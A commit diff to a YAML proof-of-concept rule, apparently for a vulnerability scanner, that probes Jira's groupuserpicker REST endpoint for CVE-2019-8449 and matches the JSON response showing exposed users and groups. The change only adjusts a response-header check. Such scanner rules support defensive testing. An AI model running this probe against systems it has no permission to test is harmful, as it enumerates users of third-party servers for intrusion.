Update jira-cve-2019-8449.yml

Author: zema1

pocs/jira-cve-2019-8449.yml

@@ -3,7 +3,7 @@ rules:
   - method: GET
     path: /rest/api/latest/groupuserpicker?query=testuser12345&maxResults=50&showAvatar=false
     expression: |
-      response.status == 200 && response.content_type.icontains("json") && "X-AREQUESTID" in response.headers && response.body.bcontains(b"total") && response.body.bcontains(b"groups") && response.body.bcontains(b"header") && response.body.bcontains(b"users")
+      response.status == 200 && response.content_type.icontains("json") && response.headers["X-AREQUESTID"] != "" && response.body.bcontains(b"total") && response.body.bcontains(b"groups") && response.body.bcontains(b"header") && response.body.bcontains(b"users")
 detail:
   author: MaxSecurity(https://github.com/MaxSecurity)
   links: